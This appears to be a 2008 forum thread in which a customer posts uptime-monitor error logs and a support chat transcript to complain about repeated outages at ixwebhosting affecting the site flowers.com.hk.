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| cashzzz, 12th 2008f June, 2008 |
Right now, it is 4:08 Hong Kong time and the server is down again. This is the fourth time and the server is on and off throughout the day. Here is the proof logs. Timestamp Location Result Size Time
2008-06-12 04:06:53 EDT London GBR Error N/A 30.73
2008-06-12 04:06:53 EDT Sydney AUS Error N/A 30.48
2008-06-12 04:06:53 EDT Hong Kong CHN Error N/A 30.50
2008-06-12 04:06:53 EDT Las Vegas USA Error N/A 30.36
2008-06-12 04:06:53 EDT Frankfurt DEU Error N/A 30.26
2008-06-12 04:06:53 EDT Oklahoma City USA Error N/A 30.23
2008-06-12 04:06:53 EDT Chicago USA Error N/A 30.02
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| cashzzz, 10th 2008f June, 2008 |
5 hours later.. look what i got again checking the sites. I'm realizing that their claim that their server is never down is false: Timestamp Location Result Size Time
2008-06-10 17:53:59 EDT Sydney AUS Error N/A 30.96
2008-06-10 17:53:59 EDT Hong Kong CHN Error N/A 30.93
2008-06-10 17:53:59 EDT Las Vegas USA Error N/A 30.70
2008-06-10 17:53:59 EDT Frankfurt DEU Error N/A 30.55
2008-06-10 17:53:59 EDT London GBR Error N/A 30.45
2008-06-10 17:53:59 EDT Atlanta USA Error N/A 30.44
2008-06-10 17:53:59 EDT Chicago USA Error N/A 30.15
2008-06-10 17:53:59 EDT Oklahoma City USA Error N/A 30.16
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| cashzzz, 10th 2008f June, 2008 |
Okay, I am having webserver issues and the tech support at ixwebhosting was not helpful at all. The server was down and i had proof from 3rd party monitors.
Igor Sedov: Hello, my name is Igor, please let me know how can I help you today?
you: hello server is down again
you: it was down already two times in the last 30 minutes
you: www.flowers.com.hk or create88 is the account
you: Timestamp Location Result Size Time 2008-06-10 12:51:04 EDT Atlanta USA Error N/A 30.08
you: hello?
you: the website is also not responding now
you: www.flowers.com.hk
you: Timestamp Location Result Size Time 2008-06-10 12:56:12 EDT Sydney AUS Error N/A 30.49 2008-06-10 12:56:12 EDT Shanghai CHN Error N/A 30.75 2008-06-10 12:56:12 EDT Frankfurt DEU Error N/A 30.27 2008-06-10 12:56:12 EDT London GBR Error N/A 30.22 2008-06-10 12:56:12 EDT Las Vegas USA Error N/A 30.14 2008-06-10 12:56:12 EDT Oklahoma City USA Error N/A 30.11 2008-06-10 12:56:12 EDT Atlanta USA Error N/A 30.09 2008-06-10 12:56:12 EDT Chicago USA Error N/A 30.02 2008-06-10 12:56:12 EDT Hong Kong CHN OK 98.8 27.63
Igor Sedov: Please hold on, let me check
you: Timestamp Location Result Size Time 2008-06-10 12:59:05 EDT Sydney AUS OK 98.8 5.65 2008-06-10 12:58:33 EDT Atlanta USA OK 98.8 30.30
you: it might pull up the site but then stall
Igor Sedov: I see that your site is working
you: it works then stalls
you: it's now on error now
you: please try to click on links or check 3rd party monitors
you: it's not working most of the time
you: Timestamp Location Result Size Time 2008-06-10 12:59:42 EDT Shanghai CHN Error N/A 33.88 2008-06-10 12:59:42 EDT Sydney AUS Error N/A 30.48 2008-06-10 12:59:42 EDT Hong Kong CHN Error N/A 30.51 2008-06-10 12:59:42 EDT Frankfurt DEU Error N/A 30.27 2008-06-10 12:59:42 EDT London GBR Error N/A 30.21 2008-06-10 12:59:42 EDT Las Vegas USA Error N/A 30.14 2008-06-10 12:59:42 EDT Oklahoma City USA Error N/A 30.15 2008-06-10 12:59:42 EDT Atlanta USA Error N/A 30.09 2008-06-10 12:59:42 EDT Chicago USA Error N/A 30.03
Igor Sedov: How can I reproduce your error?
you: you can also check alertra.com and type in flowers.com.hk
you: the server is down for all sites
you: NOT working now
Igor Sedov: I see that your site is working fine and fast. Try to use another browser
you: can you try to click on a few links?
you: i just got a few monitors telling me it is not working
you: what happens it will work for a few seconds then stall
you: its been like this for the past hour
you: this was sent by another 3rd party monitor half hour ago: Time: 06/11/2008 00:19:53 (GMT+08:00) URL: http://www.flowers.com.hk/hongkong.asp Status: FAILED 4 times since 06/11/2008 00:19:52 Reason: Timeout
you: Flowers.hk is now stalling
Igor Sedov: Sorry, unfortunately I can't resolve this issue, please create a ticket to our administrators and they will help to solve your problem. You can create a ticket from your control panel -> 24\7 help desk - ticket center.
you: try to click on a few links
you: i have sent it already
you: can you please contact the tech support and ask what is happening with the server
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